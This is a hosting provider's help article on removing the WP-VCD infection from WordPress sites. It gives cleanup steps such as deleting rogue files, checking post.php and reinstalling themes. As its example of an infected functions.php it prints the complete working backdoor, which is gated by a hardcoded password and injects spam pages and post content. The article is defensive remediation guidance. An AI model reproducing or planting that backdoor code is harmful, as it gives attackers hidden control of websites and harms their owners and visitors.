Manage cookies that are used for advertising, such as ad personalization, remarketing, and ad effectiveness analysis.
2.14.1.1.8. Infection of WordPress theme functions.php file
Attention!
The information below is provided solely as recommendations that can help remove malicious code from site scripts. Hosting administration is not responsible for damage caused to site when these recommendations are implemented by a specialist with an inadequate level of knowledge.
Removing malicious code only from functions.php file, as practice shows, does not solve the issue. Therefore, this instruction can be useful when resolving the problem.
- Make sure that file
wp-includes/class.wp.phpdoes not exist at all. If it does, delete it. Pay special attention to file name — this directory contains many files with similar names, but with a hyphen instead of a dot, etc. We are talking exclusively aboutwp-includes/class.wp.php. - Similarly to the previous step, delete
wp-includes/wp-vcd.phpfile if it exists.
Note for the first two steps: after checking official WordPress repository, you can make sure that both files are not included in standard distribution and are third-party. - Check contents of
wp-includes/post.php. Specifically, if first line contains something like:
For reference, here is an example of howpost.phplooks in standard WordPress — https://github.com/WordPress/WordPress/blob/master/wp-includes/post.php (pay attention to line 1). - Items 1-3 must help eliminate the cause that can make malicious code appear in
functions.phpfiles after removal. It remains to checkfunctions.phpof each installed theme. The most reliable way is to try reinstalling the theme, if possible. Otherwise, here is an example of an infected file:<?php if (isset($_REQUEST['password']) && isset($_REQUEST['action']) && ($_REQUEST['password'] == '7aa4ec0ada577823232adaa56b233f8b')) { switch ($_REQUEST['action']) { case 'get_all_links'; foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) { $data['code'] = ''; if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_)) { $data['code'] = $_[1]; } print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</ code><id>' . $data['ID'] . '</id></e>' . "\r\n"; } break; case 'set_id_links'; if (isset($_REQUEST['data'])) { $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"'); $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content); if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>'; if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false) { print "true"; } } break; case 'create_page'; if (isset($_REQUEST['remove_page'])) { if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"')) { print "true"; } } elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content'])) { if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"')) { print "true"; } } break; default: print "ERROR_WP_ACTION WP_URL_CD"; } die(""); } if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' ) { $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"'); if ($data -> full_content) { print stripslashes($data -> content); } else { print '<!DOCTYPE html>'; print '<html '; language_attributes(); print ' class="no-js">'; print '<head>'; print '<title>'.stripslashes($data -> title).'</title>'; print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />'; print '<meta name="Description" content="'.stripslashes($data -> description).'" />'; print '<meta name="robots" content="index, follow" />'; print '<meta charset="'; bloginfo( 'charset' ); print '" />'; print '<meta name="viewport" content="width=device-width">'; print '<link rel="profile" href="http://gmpg.org/xfn/11">'; print '<link rel="pingback" href="'; bloginfo( 'pingback_url' ); print '">'; wp_head(); print '</head>'; print '<body>'; print '<div id="content" class="site-content">'; print stripslashes($data -> content); get_search_form(); get_sidebar(); get_footer(); } exit; } ?><?php /** * @package Peak * @author YOOtheme http://www.yootheme.com * @copyright Copyright (C) YOOtheme GmbH * @license http://www.gnu.org/licenses/gpl.html GNU/GPL */ // check compatibility if (version_compare(PHP_VERSION, '5.3', '>=')) { // bootstrap warp require(__DIR__.'/warp.php'); }The appearance of line 3 in this example is a typical sign that
functions.phpis infected. In this case, you need to delete the entire<?php … ?>block in which line 3 appears:
To put it more simply, you need to delete everything from the beginning of the file to the first occurrence of the characters?>. In this example, that is line 100. The result will be a cleaned-up file that looks like this:<?php /** * @package Peak * @author YOOtheme http://www.yootheme.com * @copyright Copyright (C) YOOtheme GmbH * @license http://www.gnu.org/licenses/gpl.html GNU/GPL */ // check compatibility if (version_compare(PHP_VERSION, '5.3', '>=')) { // bootstrap warp require(__DIR__.'/warp.php'); } - There is evidence that in some cases virus, in addition to modifying files, also attempts to create a new site admin panel user, granting administrator privileges. Therefore, it makes sense to check database table
users(most oftenwp_users), and if it contains users unknown to you, it is recommended to delete them by deleting corresponding table rows.
(1)